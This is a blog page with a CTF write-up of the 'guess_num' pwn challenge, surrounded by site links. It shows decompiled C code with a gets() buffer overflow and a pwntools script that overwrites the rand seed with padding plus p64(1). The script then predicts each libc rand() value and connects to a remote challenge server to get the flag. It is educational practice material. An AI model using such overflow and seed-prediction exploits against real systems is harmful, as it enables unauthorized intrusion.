当前位置:网站首页>PWN attack and defense world guess_ num
PWN attack and defense world guess_ num
2022-06-29 02:38:00 【Day-3】

First , Let's take a look at file attributes and protection first .
The protection is basically fully open . Drop file into IDA.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
use IDA64 open , find main function ,F5 Decompile , It can be concluded that the basic logic is : First from input gets A name , Then initialize the random number generator with the seed , Process the generated random number , Then enter an integer , Compare the processed value of random number with the input value , If 10 If all round comparisons are the same, it will be successful , Call sub_C3E(). This function will cat flag.
To write Python Script :
from pwn import *
from ctypes import *
context(os='Linux',arch="amd64",log_level="debug")
content = 0
def srand():
lib = cdll.LoadLibrary("libc.so.6")
lib.srand(1)
for i in range(10):
number = str(lib.rand() % 6 + 1)
day3.recvuntil("Please input your guess number:")
day3.sendline(number)
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x30 - 0x10) + p64(1)
day3.recvuntil("Your name:")
day3.sendline(payload)
srand()
day3.interactive()
main()




get Flag.
边栏推荐
- Centos7 installation php7.2
- 兰宝传感科技冲刺科创板:年营收3.5亿 许永童家族色彩浓厚
- Ctfhub web SQL injection - integer injection
- Which securities company is the largest and safest? Which securities company has good service
- PHP database ODBC
- 11 go Foundation: Interface
- mark
- Leetcode counts the logarithm of points that cannot reach each other in an undirected graph
- 【网络通信学习笔记】Socket.IO的搭建和部署
- Learning Tai Chi Maker - mqtt Chapter II (IX) test of this chapter
猜你喜欢

短视频平台常见SQL面试题,你学会了吗?

Use code binding DataGridView control to display tables in program interface

Boost the digital economy and face the future office | the launch of the new version of spreadjsv15.0 is about to begin
![[sans titre]](/img/36/2f9319e05157ab6a8dd5aa3bef4505.png)
[sans titre]

OpenResty 使用介绍

Ctfhub web SQL injection - integer injection

chrome浏览器关闭更新弹窗

Koa 快速入門

兰宝传感科技冲刺科创板:年营收3.5亿 许永童家族色彩浓厚

Differences between web testing and app testing
随机推荐
信息学奥赛一本通 1361:产生数(Produce) | 洛谷 P1037 [NOIP2002 普及组] 产生数
On the fact that lambda expressions cannot handle recursion
Only in the past four years, Microsoft finally gave it up!
OpenResty 使用介绍
Com3529 test analysis
PHP SimpleXML
字符串方法练习
There is a time delay for the click event on the mobile terminal. What is the delay time? How to solve it?
Install mysql5.7 and change the password
Redis master-slave replication
mark
MySQL binlog log cleanup
【無標題】
PHP system function
短视频平台常见SQL面试题,你学会了吗?
Relationship between EMC, EMI and EMS
Wechat campaign auto like
Leetcode counts the logarithm of points that cannot reach each other in an undirected graph
Kubernetes: container resource requirements and constraints (constraints)
Application of fsockopen function